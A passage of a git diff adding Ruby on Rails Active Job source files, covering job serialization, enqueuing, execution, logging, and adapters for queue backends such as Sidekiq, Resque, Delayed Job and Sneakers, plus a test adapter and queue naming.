+ attr_accessor :scheduled_at
+
+ # Job Identifier
+ attr_accessor :job_id
+
+ # Queue in which the job will reside.
+ attr_writer :queue_name
+ end
+
+ # These methods will be included into any Active Job object, adding
+ # helpers for de/serialization and creation of job instances.
+ module ClassMethods
+ # Creates a new job instance from a hash created with +serialize+
+ def deserialize(job_data)
+ job = job_data['job_class'].constantize.new
+ job.job_id = job_data['job_id']
+ job.queue_name = job_data['queue_name']
+ job.serialized_arguments = job_data['arguments']
+ job
+ end
+
+ # Creates a job preconfigured with the given options. You can call
+ # perform_later with the job arguments to enqueue the job with the
+ # preconfigured options
+ #
+ # ==== Options
+ # * <tt>:wait</tt> - Enqueues the job with the specified delay
+ # * <tt>:wait_until</tt> - Enqueues the job at the time specified
+ # * <tt>:queue</tt> - Enqueues the job on the specified queue
+ #
+ # ==== Examples
+ #
+ # VideoJob.set(queue: :some_queue).perform_later(Video.last)
+ # VideoJob.set(wait: 5.minutes).perform_later(Video.last)
+ # VideoJob.set(wait_until: Time.now.tomorrow).perform_later(Video.last)
+ # VideoJob.set(queue: :some_queue, wait: 5.minutes).perform_later(Video.last)
+ # VideoJob.set(queue: :some_queue, wait_until: Time.now.tomorrow).perform_later(Video.last)
+ def set(options={})
+ ConfiguredJob.new(self, options)
+ end
+ end
+
+ # Creates a new job instance. Takes the arguments that will be
+ # passed to the perform method.
+ def initialize(*arguments)
+ @arguments = arguments
+ @job_id = SecureRandom.uuid
+ @queue_name = self.class.queue_name
+ end
+
+ # Returns a hash with the job data that can safely be passed to the
+ # queueing adapter.
+ def serialize
+ {
+ 'job_class' => self.class.name,
+ 'job_id' => job_id,
+ 'queue_name' => queue_name,
+ 'arguments' => serialize_arguments(arguments)
+ }
+ end
+
+ private
+ def deserialize_arguments_if_needed
+ if defined?(@serialized_arguments) && @serialized_arguments.present?
+ @arguments = deserialize_arguments(@serialized_arguments)
+ @serialized_arguments = nil
+ end
+ end
+
+ def serialize_arguments(serialized_args)
+ Arguments.serialize(serialized_args)
+ end
+
+ def deserialize_arguments(serialized_args)
+ Arguments.deserialize(serialized_args)
+ end
+ end
+end
diff --git a/activejob/lib/active_job/enqueuing.rb b/activejob/lib/active_job/enqueuing.rb
new file mode 100644
index 0000000000..430c17e1bf
--- /dev/null
+++ b/activejob/lib/active_job/enqueuing.rb
@@ -0,0 +1,77 @@
+require 'active_job/arguments'
+
+module ActiveJob
+ module Enqueuing
+ extend ActiveSupport::Concern
+
+ # Includes the +perform_later+ method for job initialization.
+ module ClassMethods
+ # Push a job onto the queue. The arguments must be legal JSON types
+ # (string, int, float, nil, true, false, hash or array) or
+ # GlobalID::Identification instances. Arbitrary Ruby objects
+ # are not supported.
+ #
+ # Returns an instance of the job class queued with arguments available in
+ # Job#arguments.
+ def perform_later(*args)
+ job_or_instantiate(*args).enqueue
+ end
+
+ protected
+ def job_or_instantiate(*args)
+ args.first.is_a?(self) ? args.first : new(*args)
+ end
+ end
+
+ # Reschedules the job to be re-executed. This is useful in combination
+ # with the +rescue_from+ option. When you rescue an exception from your job
+ # you can ask Active Job to retry performing your job.
+ #
+ # ==== Options
+ # * <tt>:wait</tt> - Enqueues the job with the specified delay
+ # * <tt>:wait_until</tt> - Enqueues the job at the time specified
+ # * <tt>:queue</tt> - Enqueues the job on the specified queue
+ #
+ # ==== Examples
+ #
+ # class SiteScrapperJob < ActiveJob::Base
+ # rescue_from(ErrorLoadingSite) do
+ # retry_job queue: :low_priority
+ # end
+ #
+ # def perform(*args)
+ # # raise ErrorLoadingSite if cannot scrape
+ # end
+ # end
+ def retry_job(options={})
+ enqueue options
+ end
+
+ # Enqueues the job to be performed by the queue adapter.
+ #
+ # ==== Options
+ # * <tt>:wait</tt> - Enqueues the job with the specified delay
+ # * <tt>:wait_until</tt> - Enqueues the job at the time specified
+ # * <tt>:queue</tt> - Enqueues the job on the specified queue
+ #
+ # ==== Examples
+ #
+ # my_job_instance.enqueue
+ # my_job_instance.enqueue wait: 5.minutes
+ # my_job_instance.enqueue queue: :important
+ # my_job_instance.enqueue wait_until: Date.tomorrow.midnight
+ def enqueue(options={})
+ self.scheduled_at = options[:wait].seconds.from_now.to_f if options[:wait]
+ self.scheduled_at = options[:wait_until].to_f if options[:wait_until]
+ self.queue_name = self.class.queue_name_from_part(options[:queue]) if options[:queue]
+ run_callbacks :enqueue do
+ if self.scheduled_at
+ self.class.queue_adapter.enqueue_at self, self.scheduled_at
+ else
+ self.class.queue_adapter.enqueue self
+ end
+ end
+ self
+ end
+ end
+end
diff --git a/activejob/lib/active_job/execution.rb b/activejob/lib/active_job/execution.rb
new file mode 100644
index 0000000000..79d232da4a
--- /dev/null
+++ b/activejob/lib/active_job/execution.rb
@@ -0,0 +1,42 @@
+require 'active_support/rescuable'
+require 'active_job/arguments'
+
+module ActiveJob
+ module Execution
+ extend ActiveSupport::Concern
+ include ActiveSupport::Rescuable
+
+ # Includes methods for executing and performing jobs instantly.
+ module ClassMethods
+ # Performs the job immediately.
+ #
+ # MyJob.perform_now("mike")
+ #
+ def perform_now(*args)
+ job_or_instantiate(*args).perform_now
+ end
+
+ def execute(job_data) #:nodoc:
+ job = deserialize(job_data)
+ job.perform_now
+ end
+ end
+
+ # Performs the job immediately. The job is not sent to the queueing adapter
+ # but directly executed by blocking the execution of others until it's finished.
+ #
+ # MyJob.new(*args).perform_now
+ def perform_now
+ deserialize_arguments_if_needed
+ run_callbacks :perform do
+ perform(*arguments)
+ end
+ rescue => exception
+ rescue_with_handler(exception) || raise(exception)
+ end
+
+ def perform(*)
+ fail NotImplementedError
+ end
+ end
+end
diff --git a/activejob/lib/active_job/gem_version.rb b/activejob/lib/active_job/gem_version.rb
new file mode 100644
index 0000000000..27a5de93f4
--- /dev/null
+++ b/activejob/lib/active_job/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveJob
+ # Returns the version of the currently loaded Active Job as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 5
+ MINOR = 0
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/activejob/lib/active_job/logging.rb b/activejob/lib/active_job/logging.rb
new file mode 100644
index 0000000000..21d2fda3ff
--- /dev/null
+++ b/activejob/lib/active_job/logging.rb
@@ -0,0 +1,102 @@
+require 'active_support/core_ext/string/filters'
+require 'active_support/tagged_logging'
+require 'active_support/logger'
+
+module ActiveJob
+ module Logging #:nodoc:
+ extend ActiveSupport::Concern
+
+ included do
+ cattr_accessor(:logger) { ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDOUT)) }
+
+ around_enqueue do |_, block, _|
+ tag_logger do
+ block.call
+ end
+ end
+
+ around_perform do |job, block, _|
+ tag_logger(job.class.name, job.job_id) do
+ payload = {adapter: job.class.queue_adapter, job: job}
+ ActiveSupport::Notifications.instrument("perform_start.active_job", payload.dup)
+ ActiveSupport::Notifications.instrument("perform.active_job", payload) do
+ block.call
+ end
+ end
+ end
+
+ before_enqueue do |job|
+ if job.scheduled_at
+ ActiveSupport::Notifications.instrument "enqueue_at.active_job",
+ adapter: job.class.queue_adapter, job: job
+ else
+ ActiveSupport::Notifications.instrument "enqueue.active_job",
+ adapter: job.class.queue_adapter, job: job
+ end
+ end
+ end
+
+ private
+ def tag_logger(*tags)
+ if logger.respond_to?(:tagged)
+ tags.unshift "ActiveJob" unless logger_tagged_by_active_job?
+ ActiveJob::Base.logger.tagged(*tags){ yield }
+ else
+ yield
+ end
+ end
+
+ def logger_tagged_by_active_job?
+ logger.formatter.current_tags.include?("ActiveJob")
+ end
+
+ class LogSubscriber < ActiveSupport::LogSubscriber #:nodoc:
+ def enqueue(event)
+ info do
+ job = event.payload[:job]
+ "Enqueued #{job.class.name} (Job ID: #{job.job_id}) to #{queue_name(event)}" + args_info(job)
+ end
+ end
+
+ def enqueue_at(event)
+ info do
+ job = event.payload[:job]
+ "Enqueued #{job.class.name} (Job ID: #{job.job_id}) to #{queue_name(event)} at #{scheduled_at(event)}" + args_info(job)
+ end
+ end
+
+ def perform_start(event)
+ info do
+ job = event.payload[:job]
+ "Performing #{job.class.name} from #{queue_name(event)}" + args_info(job)
+ end
+ end
+
+ def perform(event)
+ info do
+ job = event.payload[:job]
+ "Performed #{job.class.name} from #{queue_name(event)} in #{event.duration.round(2)}ms"
+ end
+ end
+
+ private
+ def queue_name(event)
+ event.payload[:adapter].name.demodulize.remove('Adapter') + "(#{event.payload[:job].queue_name})"
+ end
+
+ def args_info(job)
+ job.arguments.any? ? " with arguments: #{job.arguments.map(&:inspect).join(", ")}" : ""
+ end
+
+ def scheduled_at(event)
+ Time.at(event.payload[:job].scheduled_at).utc
+ end
+
+ def logger
+ ActiveJob::Base.logger
+ end
+ end
+ end
+end
+
+ActiveJob::Logging::LogSubscriber.attach_to :active_job
diff --git a/activejob/lib/active_job/queue_adapter.rb b/activejob/lib/active_job/queue_adapter.rb
new file mode 100644
index 0000000000..85d7c44bb8
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapter.rb
@@ -0,0 +1,35 @@
+require 'active_job/queue_adapters/inline_adapter'
+require 'active_support/core_ext/string/inflections'
+
+module ActiveJob
+ # The <tt>ActionJob::QueueAdapter</tt> module is used to load the
+ # correct adapter. The default queue adapter is the :inline queue.
+ module QueueAdapter #:nodoc:
+ extend ActiveSupport::Concern
+
+ # Includes the setter method for changing the active queue adapter.
+ module ClassMethods
+ mattr_reader(:queue_adapter) { ActiveJob::QueueAdapters::InlineAdapter }
+
+ # Specify the backend queue provider. The default queue adapter
+ # is the :inline queue. See QueueAdapters for more
+ # information.
+ def queue_adapter=(name_or_adapter)
+ @@queue_adapter = \
+ case name_or_adapter
+ when :test
+ ActiveJob::QueueAdapters::TestAdapter.new
+ when Symbol, String
+ load_adapter(name_or_adapter)
+ when Class
+ name_or_adapter
+ end
+ end
+
+ private
+ def load_adapter(name)
+ "ActiveJob::QueueAdapters::#{name.to_s.camelize}Adapter".constantize
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters.rb b/activejob/lib/active_job/queue_adapters.rb
new file mode 100644
index 0000000000..4b91c93dbe
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters.rb
@@ -0,0 +1,52 @@
+module ActiveJob
+ # == Active Job adapters
+ #
+ # Active Job has adapters for the following queueing backends:
+ #
+ # * {Backburner}[https://github.com/nesquena/backburner]
+ # * {Delayed Job}[https://github.com/collectiveidea/delayed_job]
+ # * {Qu}[https://github.com/bkeepers/qu]
+ # * {Que}[https://github.com/chanks/que]
+ # * {queue_classic}[https://github.com/QueueClassic/queue_classic]
+ # * {Resque 1.x}[https://github.com/resque/resque/tree/1-x-stable]
+ # * {Sidekiq}[http://sidekiq.org]
+ # * {Sneakers}[https://github.com/jondot/sneakers]
+ # * {Sucker Punch}[https://github.com/brandonhilkert/sucker_punch]
+ #
+ # === Backends Features
+ #
+ # | | Async | Queues | Delayed | Priorities | Timeout | Retries |
+ # |-------------------|-------|--------|-----------|------------|---------|---------|
+ # | Backburner | Yes | Yes | Yes | Yes | Job | Global |
+ # | Delayed Job | Yes | Yes | Yes | Job | Global | Global |
+ # | Qu | Yes | Yes | No | No | No | Global |
+ # | Que | Yes | Yes | Yes | Job | No | Job |
+ # | queue_classic | Yes | Yes | No* | No | No | No |
+ # | Resque | Yes | Yes | Yes (Gem) | Queue | Global | Yes |
+ # | Sidekiq | Yes | Yes | Yes | Queue | No | Job |
+ # | Sneakers | Yes | Yes | No | Queue | Queue | No |
+ # | Sucker Punch | Yes | Yes | No | No | No | No |
+ # | Active Job Inline | No | Yes | N/A | N/A | N/A | N/A |
+ # | Active Job | Yes | Yes | Yes | No | No | No |
+ #
+ # NOTE:
+ # queue_classic does not support Job scheduling. However you can implement this
+ # yourself or you can use the queue_classic-later gem. See the documentation for
+ # ActiveJob::QueueAdapters::QueueClassicAdapter.
+ #
+ module QueueAdapters
+ extend ActiveSupport::Autoload
+
+ autoload :InlineAdapter
+ autoload :BackburnerAdapter
+ autoload :DelayedJobAdapter
+ autoload :QuAdapter
+ autoload :QueAdapter
+ autoload :QueueClassicAdapter
+ autoload :ResqueAdapter
+ autoload :SidekiqAdapter
+ autoload :SneakersAdapter
+ autoload :SuckerPunchAdapter
+ autoload :TestAdapter
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters/backburner_adapter.rb b/activejob/lib/active_job/queue_adapters/backburner_adapter.rb
new file mode 100644
index 0000000000..2453d065de
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/backburner_adapter.rb
@@ -0,0 +1,36 @@
+require 'backburner'
+
+module ActiveJob
+ module QueueAdapters
+ # == Backburner adapter for Active Job
+ #
+ # Backburner is a beanstalkd-powered job queue that can handle a very
+ # high volume of jobs. You create background jobs and place them on
+ # multiple work queues to be processed later. Read more about
+ # Backburner {here}[https://github.com/nesquena/backburner].
+ #
+ # To use Backburner set the queue_adapter config to +:backburner+.
+ #
+ # Rails.application.config.active_job.queue_adapter = :backburner
+ class BackburnerAdapter
+ class << self
+ def enqueue(job) #:nodoc:
+ Backburner::Worker.enqueue JobWrapper, [ job.serialize ], queue: job.queue_name
+ end
+
+ def enqueue_at(job, timestamp) #:nodoc:
+ delay = timestamp - Time.current.to_f
+ Backburner::Worker.enqueue JobWrapper, [ job.serialize ], queue: job.queue_name, delay: delay
+ end
+ end
+
+ class JobWrapper #:nodoc:
+ class << self
+ def perform(job_data)
+ Base.execute job_data
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb b/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb
new file mode 100644
index 0000000000..69d9e70de3
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb
@@ -0,0 +1,39 @@
+require 'delayed_job'
+
+module ActiveJob
+ module QueueAdapters
+ # == Delayed Job adapter for Active Job
+ #
+ # Delayed::Job (or DJ) encapsulates the common pattern of asynchronously
+ # executing longer tasks in the background. Although DJ can have many
+ # storage backends, one of the most used is based on Active Record.
+ # Read more about Delayed Job {here}[https://github.com/collectiveidea/delayed_job].
+ #
+ # To use Delayed Job, set the queue_adapter config to +:delayed_job+.
+ #
+ # Rails.application.config.active_job.queue_adapter = :delayed_job
+ class DelayedJobAdapter
+ class << self
+ def enqueue(job) #:nodoc:
+ Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name)
+ end
+
+ def enqueue_at(job, timestamp) #:nodoc:
+ Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name, run_at: Time.at(timestamp))
+ end
+ end
+
+ class JobWrapper #:nodoc:
+ attr_accessor :job_data
+
+ def initialize(job_data)
+ @job_data = job_data
+ end
+
+ def perform
+ Base.execute(job_data)
+ end
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters/inline_adapter.rb b/activejob/lib/active_job/queue_adapters/inline_adapter.rb
new file mode 100644
index 0000000000..08e26b7418
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/inline_adapter.rb
@@ -0,0 +1,23 @@
+module ActiveJob
+ module QueueAdapters
+ # == Active Job Inline adapter
+ #
+ # When enqueueing jobs with the Inline adapter the job will be executed
+ # immediately.
+ #
+ # To use the Inline set the queue_adapter config to +:inline+.
+ #
+ # Rails.application.config.active_job.queue_adapter = :inline
+ class InlineAdapter
+ class << self
+ def enqueue(job) #:nodoc:
+ Base.execute(job.serialize)
+ end
+
+ def enqueue_at(*) #:nodoc:
+ raise NotImplementedError.new("Use a queueing backend to enqueue jobs in the future. Read more at http://guides.rubyonrails.org/v4.2.0/active_job_basics.html")
+ end
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters/qu_adapter.rb b/activejob/lib/active_job/queue_adapters/qu_adapter.rb
new file mode 100644
index 0000000000..30aa5a4670
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/qu_adapter.rb
@@ -0,0 +1,42 @@
+require 'qu'
+
+module ActiveJob
+ module QueueAdapters
+ # == Qu adapter for Active Job
+ #
+ # Qu is a Ruby library for queuing and processing background jobs. It is
+ # heavily inspired by delayed_job and Resque. Qu was created to overcome
+ # some shortcomings in the existing queuing libraries.
+ # The advantages of Qu are: Multiple backends (redis, mongo), jobs are
+ # requeued when worker is killed, resque-like API.
+ #
+ # Read more about Qu {here}[https://github.com/bkeepers/qu].
+ #
+ # To use Qu set the queue_adapter config to +:qu+.
+ #
+ # Rails.application.config.active_job.queue_adapter = :qu
+ class QuAdapter
+ class << self
+ def enqueue(job, *args) #:nodoc:
+ Qu::Payload.new(klass: JobWrapper, args: [job.serialize]).tap do |payload|
+ payload.instance_variable_set(:@queue, job.queue_name)
+ end.push
+ end
+
+ def enqueue_at(job, timestamp, *args) #:nodoc:
+ raise NotImplementedError
+ end
+ end
+
+ class JobWrapper < Qu::Job #:nodoc:
+ def initialize(job_data)
+ @job_data = job_data
+ end
+
+ def perform
+ Base.execute @job_data
+ end
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters/que_adapter.rb b/activejob/lib/active_job/queue_adapters/que_adapter.rb
new file mode 100644
index 0000000000..e501fe0368
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/que_adapter.rb
@@ -0,0 +1,35 @@
+require 'que'
+
+module ActiveJob
+ module QueueAdapters
+ # == Que adapter for Active Job
+ #
+ # Que is a high-performance alternative to DelayedJob or QueueClassic that
+ # improves the reliability of your application by protecting your jobs with
+ # the same ACID guarantees as the rest of your data. Que is a queue for
+ # Ruby and PostgreSQL that manages jobs using advisory locks.
+ #
+ # Read more about Que {here}[https://github.com/chanks/que].
+ #
+ # To use Que set the queue_adapter config to +:que+.
+ #
+ # Rails.application.config.active_job.queue_adapter = :que
+ class QueAdapter
+ class << self
+ def enqueue(job) #:nodoc:
+ JobWrapper.enqueue job.serialize, queue: job.queue_name
+ end
+
+ def enqueue_at(job, timestamp) #:nodoc:
+ JobWrapper.enqueue job.serialize, queue: job.queue_name, run_at: Time.at(timestamp)
+ end
+ end
+
+ class JobWrapper < Que::Job #:nodoc:
+ def run(job_data)
+ Base.execute job_data
+ end
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb b/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb
new file mode 100644
index 0000000000..34c11a68b2
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb
@@ -0,0 +1,54 @@
+require 'queue_classic'
+
+module ActiveJob
+ module QueueAdapters
+ # == queue_classic adapter for Active Job
+ #
+ # queue_classic provides a simple interface to a PostgreSQL-backed message
+ # queue. queue_classic specializes in concurrent locking and minimizing
+ # database load while providing a simple, intuitive developer experience.
+ # queue_classic assumes that you are already using PostgreSQL in your
+ # production environment and that adding another dependency (e.g. redis,
+ # beanstalkd, 0mq) is undesirable.
+ #
+ # Read more about queue_classic {here}[https://github.com/QueueClassic/queue_classic].
+ #
+ # To use queue_classic set the queue_adapter config to +:queue_classic+.
+ #
+ # Rails.application.config.active_job.queue_adapter = :queue_classic
+ class QueueClassicAdapter
+ class << self
+ def enqueue(job) #:nodoc:
+ build_queue(job.queue_name).enqueue("#{JobWrapper.name}.perform", job.serialize)
+ end
+
+ def enqueue_at(job, timestamp) #:nodoc:
+ queue = build_queue(job.queue_name)
+ unless queue.respond_to?(:enqueue_at)
+ raise NotImplementedError, 'To be able to schedule jobs with queue_classic ' \
+ 'the QC::Queue needs to respond to `enqueue_at(timestamp, method, *args)`. ' \
+ 'You can implement this yourself or you can use the queue_classic-later gem.'
+ end
+ queue.enqueue_at(timestamp, "#{JobWrapper.name}.perform", job.serialize)
+ end
+
+ # Builds a <tt>QC::Queue</tt> object to schedule jobs on.
+ #
+ # If you have a custom <tt>QC::Queue</tt> subclass you'll need to subclass
+ # <tt>ActiveJob::QueueAdapters::QueueClassicAdapter</tt> and override the
+ # <tt>build_queue</tt> method.
+ def build_queue(queue_name)
+ QC::Queue.new(queue_name)
+ end
+ end
+
+ class JobWrapper #:nodoc:
+ class << self
+ def perform(job_data)
+ Base.execute job_data
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters/resque_adapter.rb b/activejob/lib/active_job/queue_adapters/resque_adapter.rb
new file mode 100644
index 0000000000..88c6b48fef
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/resque_adapter.rb
@@ -0,0 +1,52 @@
+require 'resque'
+require 'active_support/core_ext/enumerable'
+require 'active_support/core_ext/array/access'
+
+begin
+ require 'resque-scheduler'
+rescue LoadError
+ begin
+ require 'resque_scheduler'
+ rescue LoadError
+ false
+ end
+end
+
+module ActiveJob
+ module QueueAdapters
+ # == Resque adapter for Active Job
+ #
+ # Resque (pronounced like "rescue") is a Redis-backed library for creating
+ # background jobs, placing those jobs on multiple queues, and processing
+ # them later.
+ #
+ # Read more about Resque {here}[https://github.com/resque/resque].
+ #
+ # To use Resque set the queue_adapter config to +:resque+.
+ #
+ # Rails.application.config.active_job.queue_adapter = :resque
+ class ResqueAdapter
+ class << self
+ def enqueue(job) #:nodoc:
+ Resque.enqueue_to job.queue_name, JobWrapper, job.serialize
+ end
+
+ def enqueue_at(job, timestamp) #:nodoc:
+ unless Resque.respond_to?(:enqueue_at_with_queue)
+ raise NotImplementedError, "To be able to schedule jobs with Resque you need the " \
+ "resque-scheduler gem. Please add it to your Gemfile and run bundle install"
+ end
+ Resque.enqueue_at_with_queue job.queue_name, timestamp, JobWrapper, job.serialize
+ end
+ end
+
+ class JobWrapper #:nodoc:
+ class << self
+ def perform(job_data)
+ Base.execute job_data
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb b/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb
new file mode 100644
index 0000000000..21005fc728
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb
@@ -0,0 +1,45 @@
+require 'sidekiq'
+
+module ActiveJob
+ module QueueAdapters
+ # == Sidekiq adapter for Active Job
+ #
+ # Simple, efficient background processing for Ruby. Sidekiq uses threads to
+ # handle many jobs at the same time in the same process. It does not
+ # require Rails but will integrate tightly with it to make background
+ # processing dead simple.
+ #
+ # Read more about Sidekiq {here}[http://sidekiq.org].
+ #
+ # To use Sidekiq set the queue_adapter config to +:sidekiq+.
+ #
+ # Rails.application.config.active_job.queue_adapter = :sidekiq
+ class SidekiqAdapter
+ class << self
+ def enqueue(job) #:nodoc:
+ #Sidekiq::Client does not support symbols as keys
+ Sidekiq::Client.push \
+ 'class' => JobWrapper,
+ 'queue' => job.queue_name,
+ 'args' => [ job.serialize ]
+ end
+
+ def enqueue_at(job, timestamp) #:nodoc:
+ Sidekiq::Client.push \
+ 'class' => JobWrapper,
+ 'queue' => job.queue_name,
+ 'args' => [ job.serialize ],
+ 'at' => timestamp
+ end
+ end
+
+ class JobWrapper #:nodoc:
+ include Sidekiq::Worker
+
+ def perform(job_data)
+ Base.execute job_data
+ end
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb b/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb
new file mode 100644
index 0000000000..6d60a2f303
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb
@@ -0,0 +1,46 @@
+require 'sneakers'
+require 'thread'
+
+module ActiveJob
+ module QueueAdapters
+ # == Sneakers adapter for Active Job
+ #
+ # A high-performance RabbitMQ background processing framework for Ruby.
+ # Sneakers is being used in production for both I/O and CPU intensive
+ # workloads, and have achieved the goals of high-performance and
+ # 0-maintenance, as designed.
+ #
+ # Read more about Sneakers {here}[https://github.com/jondot/sneakers].
+ #
+ # To use Sneakers set the queue_adapter config to +:sneakers+.
+ #
+ # Rails.application.config.active_job.queue_adapter = :sneakers
+ class SneakersAdapter
+ @monitor = Monitor.new
+
+ class << self
+ def enqueue(job) #:nodoc:
+ @monitor.synchronize do
+ JobWrapper.from_queue job.queue_name
+ JobWrapper.enqueue ActiveSupport::JSON.encode(job.serialize)
+ end
+ end
+
+ def enqueue_at(job, timestamp) #:nodoc:
+ raise NotImplementedError
+ end
+ end
+
+ class JobWrapper #:nodoc:
+ include Sneakers::Worker
+ from_queue 'default'
+
+ def work(msg)
+ job_data = ActiveSupport::JSON.decode(msg)
+ Base.execute job_data
+ ack!
+ end
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb b/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb
new file mode 100644
index 0000000000..be9e7fd03a
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb
@@ -0,0 +1,40 @@
+require 'sucker_punch'
+
+module ActiveJob
+ module QueueAdapters
+ # == Sucker Punch adapter for Active Job
+ #
+ # Sucker Punch is a single-process Ruby asynchronous processing library.
+ # It's girl_friday and DSL sugar on top of Celluloid. With Celluloid's
+ # actor pattern, we can do asynchronous processing within a single process.
+ # This reduces costs of hosting on a service like Heroku along with the
+ # memory footprint of having to maintain additional jobs if hosting on
+ # a dedicated server. All queues can run within a single Rails/Sinatra
+ # process.
+ #
+ # Read more about Sucker Punch {here}[https://github.com/brandonhilkert/sucker_punch].
+ #
+ # To use Sucker Punch set the queue_adapter config to +:sucker_punch+.
+ #
+ # Rails.application.config.active_job.queue_adapter = :sucker_punch
+ class SuckerPunchAdapter
+ class << self
+ def enqueue(job) #:nodoc:
+ JobWrapper.new.async.perform job.serialize
+ end
+
+ def enqueue_at(job, timestamp) #:nodoc:
+ raise NotImplementedError
+ end
+ end
+
+ class JobWrapper #:nodoc:
+ include SuckerPunch::Job
+
+ def perform(job_data)
+ Base.execute job_data
+ end
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_adapters/test_adapter.rb b/activejob/lib/active_job/queue_adapters/test_adapter.rb
new file mode 100644
index 0000000000..e4fdf60008
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/test_adapter.rb
@@ -0,0 +1,46 @@
+module ActiveJob
+ module QueueAdapters
+ # == Test adapter for Active Job
+ #
+ # The test adapter should be used only in testing. Along with
+ # <tt>ActiveJob::TestCase</tt> and <tt>ActiveJob::TestHelper</tt>
+ # it makes a great tool to test your Rails application.
+ #
+ # To use the test adapter set queue_adapter config to +:test+.
+ #
+ # Rails.application.config.active_job.queue_adapter = :test
+ class TestAdapter
+ delegate :name, to: :class
+ attr_accessor(:perform_enqueued_jobs, :perform_enqueued_at_jobs)
+ attr_writer(:enqueued_jobs, :performed_jobs)
+
+ # Provides a store of all the enqueued jobs with the TestAdapter so you can check them.
+ def enqueued_jobs
+ @enqueued_jobs ||= []
+ end
+
+ # Provides a store of all the performed jobs with the TestAdapter so you can check them.
+ def performed_jobs
+ @performed_jobs ||= []
+ end
+
+ def enqueue(job) #:nodoc:
+ if perform_enqueued_jobs
+ performed_jobs << {job: job.class, args: job.arguments, queue: job.queue_name}
+ job.perform_now
+ else
+ enqueued_jobs << {job: job.class, args: job.arguments, queue: job.queue_name}
+ end
+ end
+
+ def enqueue_at(job, timestamp) #:nodoc:
+ if perform_enqueued_at_jobs
+ performed_jobs << {job: job.class, args: job.arguments, queue: job.queue_name, at: timestamp}
+ job.perform_now
+ else
+ enqueued_jobs << {job: job.class, args: job.arguments, queue: job.queue_name, at: timestamp}
+ end
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/queue_name.rb b/activejob/lib/active_job/queue_name.rb
new file mode 100644
index 0000000000..9ae0345120
--- /dev/null
+++ b/activejob/lib/active_job/queue_name.rb
@@ -0,0 +1,51 @@
+module ActiveJob
+ module QueueName
+ extend ActiveSupport::Concern
+
+ # Includes the ability to override the default queue name and prefix.
+ module ClassMethods
+ mattr_accessor(:queue_name_prefix)
+ mattr_accessor(:default_queue_name) { "default" }
+
+ # Specifies the name of the queue to process the job on.
+ #
+ # class PublishToFeedJob < ActiveJob::Base
+ # queue_as :feeds
+ #
+ # def perform(post)
+ # post.to_feed!
+ # end
+ # end
+ def queue_as(part_name=nil, &block)
+ if block_given?
+ self.queue_name = block
+ else
+ self.queue_name = queue_name_from_part(part_name)
+ end
+ end
+
+ def queue_name_from_part(part_name) #:nodoc:
+ queue_name = part_name || default_queue_name
+ name_parts = [queue_name_prefix.presence, queue_name]
+ name_parts.compact.join(queue_name_delimiter)
+ end
+ end
+
+ included do
+ class_attribute :queue_name, instance_accessor: false
+ class_attribute :queue_name_delimiter, instance_accessor: false
+
+ self.queue_name = default_queue_name
+ self.queue_name_delimiter = '_' # set default delimiter to '_'
+ end
+
+ # Returns the name of the queue the job will be run on
+ def queue_name
+ if @queue_name.is_a?(Proc)
+ @queue_name = self.class.queue_name_from_part(instance_exec(&@queue_name))
+ end
+ @queue_name
+ end
+
+ end
+end
diff --git a/activejob/lib/active_job/railtie.rb b/activejob/lib/active_job/railtie.rb
new file mode 100644
index 0000000000..6538ac1b30
--- /dev/null
+++ b/activejob/lib/active_job/railtie.rb
@@ -0,0 +1,23 @@
+require 'global_id/railtie'
+require 'active_job'
+
+module ActiveJob
+ # = Active Job Railtie
+ class Railtie < Rails::Railtie # :nodoc:
+ config.active_job = ActiveSupport::OrderedOptions.new
+
+ initializer 'active_job.logger' do
+ ActiveSupport.on_load(:active_job) { self.logger = ::Rails.logger }
+ end
+
+ initializer "active_job.set_configs" do |app|
+ options = app.config.active_job
+ options.queue_adapter ||= :inline
+
+ ActiveSupport.on_load(:active_job) do
+ options.each { |k,v| send("#{k}=", v) }
+ end
+ end
+
+ end
